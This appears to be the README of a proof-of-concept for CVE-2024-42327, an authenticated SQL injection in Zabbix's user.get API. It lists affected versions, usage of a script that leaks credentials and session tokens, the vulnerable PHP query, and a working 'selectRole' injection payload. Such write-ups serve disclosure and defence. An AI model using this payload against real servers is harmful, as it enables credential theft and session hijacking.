CVE-2024-42327 PoC — SQL injection in user.get API

Description

POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method

Readme

# CVE-2024-42327 - Zabbix SQL Injection Vulnerability (SQLI)
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method

## CVE Description
The vulnerability exists in the user.get API endpoint that can be exploited by a non-admin user with API access, including accounts with the default User role. 

The SQL injection flaw exists in the CUser class in the addRelatedObjects function. This function is being called from the CUser.get function, which is available to users with API access. 

An attacker may inject SQL commands by manipulating API calls. 

Successful exploitation of the vulnerability may allow an attacker to gain unauthorized access and control.

### Affected Versions
    - 6.0.0 – 6.0.31
    - 6.4.0 – 6.4.16
    - 7.0.0

## POC
This POC will leak user credentials from the database, as well as leaking session tokens to authenticate to the API with.

The option exists to run a custom SQL query (`--query`).

### Usage
```
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]

Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The URL to Zabbix (please include the path - http://example.com/zabbix/)
  -U USERNAME, --username USERNAME
                        The username to authenticate with
  -P PASSWORD, --password PASSWORD
                        The password to authenticate with
  --query QUERY         An optional custom SQL query to run through the SQL Injection
```

### Example
```
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
```

## Vulnerability Examination
Examining the code at https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php in the `addRelatedObjects` function, we easily find the vulnerable SQL Query (lines 3046 - 3051)

```php
$db_roles = DBselect(
				'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
				' FROM users u,role r'.
				' WHERE u.roleid=r.roleid'.
				' AND '.dbConditionInt('u.userid', $userIds)
			);
```

It is immediately obvious that the values included in `$options['selectRole']` is passed into the SQL query.

A typical JSON Blob to hit this part of the code looks like the following:
```json
{
  "jsonrpc": "2.0",
  "auth": "AUTH_TOKEN_HERE",
  "id": 1,
  "method": "user.get",
  "params": {
    "output": [
      "userid",
      "username"
    ],
    "selectRole": [
      "type",
      "roleid",
      "name",
      "readonly"
    ]
  }
}
```

We may craft the `"selectRole"` values to allow for SQL Injection
```
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
```

The above injection makes the SQL query something like the below:
```sql
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)
```

File Snapshot

Remarks